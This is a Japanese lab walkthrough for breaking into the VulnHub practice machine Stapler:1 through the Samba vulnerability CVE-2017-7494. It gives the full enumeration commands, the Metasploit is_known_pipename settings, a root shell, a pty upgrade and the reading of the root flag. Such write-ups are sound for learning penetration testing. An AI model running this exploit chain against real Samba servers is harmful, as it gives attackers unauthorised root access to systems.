VULNHUBでStaperによって公開されている「STAPLER:1」にMetasploit Frameworkを使って侵入する方法を紹介いたします。
STAPLER:1の環境がまだと言う方は、「VirtualBox on WindowsでSTAPLER:1の環境構築をしよう!」を参考にして構築して見てください。




Metasploit Frameworkとは
Metasploit Framework(以降、Metasploit)とは、Rapid7が中心となって開発されているペネトレーションテスト(侵入テスト)を行うためのソフトウェアになっています。
Kali Linuxには標準で搭載されていると言うこともあり、世界で最も普及しているペネトレーションテストフレームワークです。
Sambaの脆弱性からStapler:1に侵入する
今回は、「CVE -2017-7494」の脆弱性を攻撃するmetasploitを利用してStapler:1に侵入していきます。
Staplerが同一ネットワークにあるか確認する。
Staplerが同一ネットワークにあるか確認します。
確認するためのコマンドは、「netdiscover」になります。
netdiscover -r 192.168.2.0
Currently scanning; Finished!になって、Sambaが同一ネットワークにあることを確認できればOKです。

Spartaでサービスをスキャンする
Spartaと言うツールを使って、ターゲットポートで実行されているサービスをスキャンして情報収集をします。
下記、コマンドでSpartaを起動しましょう。
sparta
上記が、「command not found」になってしまう場合、
apt install legion
legion
上記を実行して、regionを起動してください。
regionには、sparta-scriptsが含まれています。
下記のような画面が表示されると思います。
「Click here to add host(s) to scope」をクリックします。

IPアドレスを入力して、Submitをクリックします。

Submitをクリックすると、スキャンが始まりますので、nmap (stage5)が完了するまで待ちます。
完了すると、下記の状態になっていると思います。

versionの特定を行う
Spartaでは、SambaのVersionまで特定ができないので、nmapを使ってVersionを特定していきます。
nmap -vvv -A -p 139 192.168.2.5
Versionが、「4.3.9-Ubuntu」であることがわかりましたね。

metasproitの攻撃モジュールを確認する
metasproitに特定したSambaのバージョンの攻撃モジュールがないか確認します。
検索すると、「CVE -2017-7494」に対応する攻撃モジュールがありました。
ここには、攻撃が成功するための条件が3つ記載されています。
- Valid credentials
- Writeable folder in an accessible share
- Server-side path of the writeable folder
次は、条件を満たしているか確認していきましょう。
「Valid credentials」を確認する
Valid credentialsは、アクセスするのにパスワードが必要なければ条件を満たしていることになります。
smbclient -L 192.168.2.5
Enter WORKGROUP\hacklab's password:
でSambaにアクセスします。
この際に、パスワードを聞かれますが、入力をしないでEnterを押しましょう。

これで「Valid credentials」の条件は、満たしていることがわかります。
「Writeable folder in an accessible share」を確認する
続いては、Writeable folder in an accessible shareを確認します。
Writeable folder in an accessible shareは、アクセス可能で書き込みが可能な共有フォルダがあれば条件を満たします。
適当な場所にテキストファイルを作成します。中身は適当で問題ありません。

tmpは書き込み制限がないことが多いので、tmpにファイルを置いてみます。
smbclient //192.168.2.5/tmp
Enter WORKGROUP\hacklab's password:

put text.txt

これで書き込みが成功したので、「Writeable folder in an accessible share」の条件も満たしたことになります。
「Server-side path of the writeable folder」を確認する
最後に「Server-side path of the writeable folder」を確認します。
Server-side path of the writeable folderは、書き込み可能なフォルダのサーバ側パスが確認できれば条件を満たします。
nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 192.168.2.5
上記を実行することで、

Pathが「C:¥var¥tmp」であることがわかります。相手はLinuxなので実際は「/var/tmp」に読み替えましょう。
パスもわかったので「Server-side path of the writeable folder」の条件も満たしています。
exploitの設定をしていく
3つの条件を全て満たしているので、実際にmetasploitを使って攻撃していきましょう。
攻撃手順は、記載の通りです。
- Start msfconsole
- Do: use exploit/linux/samba/is_known_pipename
- Do: set rhost [ip]
- Do: set target [target #]
- Do: exploit
まずは、msfconsoleを起動します。
msfconsole
起動できたら、「use exploit/linux/samba/is_known_pipename」を実行します。
use exploit/linux/samba/is_known_pipename
ここで、show optionsを実行して見ましょう。
show options

Requiredがyesになっている項目と、payloadを指定することで攻撃ができるようになります。
まずは、RHOSTSとRPORTの設定をします。
ここには、攻撃対象のSambaの情報を指定しましょう。
set rhost 192.168.2.5
set rport 139
続いて設定可能なpayloadsを確認します。
show payloads

payloadにcmd/unix/interactを設定します。
set payload cmd/unix/interact
これでexploitの設定は完了です。
念の為、show optionsをして確認しておきます。

実際に侵入していく
では実際に、侵入していきましょう。
exproitを設定した状態のままで、「run」を実行するだけです。
run
Command shell session 1 openedが表示されれば、ルート権限でアクセスができたことになります。

msf6でencryption Errorが発生する場合、下記を参考にして見てください。
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1

情報を確認しておきましょう。
id

pwd

ls -la

ptyを起動しておく
このままでもいいのですが、SSHができないなどラテラルムーブメントに支障が出てしまいますので、ptyを起動しておきましょう。
下記のコマンドを実行するだけでOKです。
python -c 'import pty; pty.spawn("/bin/sh")'
フラッグを確認する
では、フラッグを確認して終わりにしましょう。
cd /root
ls -la

flag.txtの中身を確認します。
cat flag.txt

これで完了です!
最後に
今回は、Metasploit Frameworkを用いて、CVE-2017-7494の脆弱性からStapler:1に侵入してみました。
Stapler:1には他にも侵入方法があります。
他の方法も紹介していますので、ぜひ参考にしてください。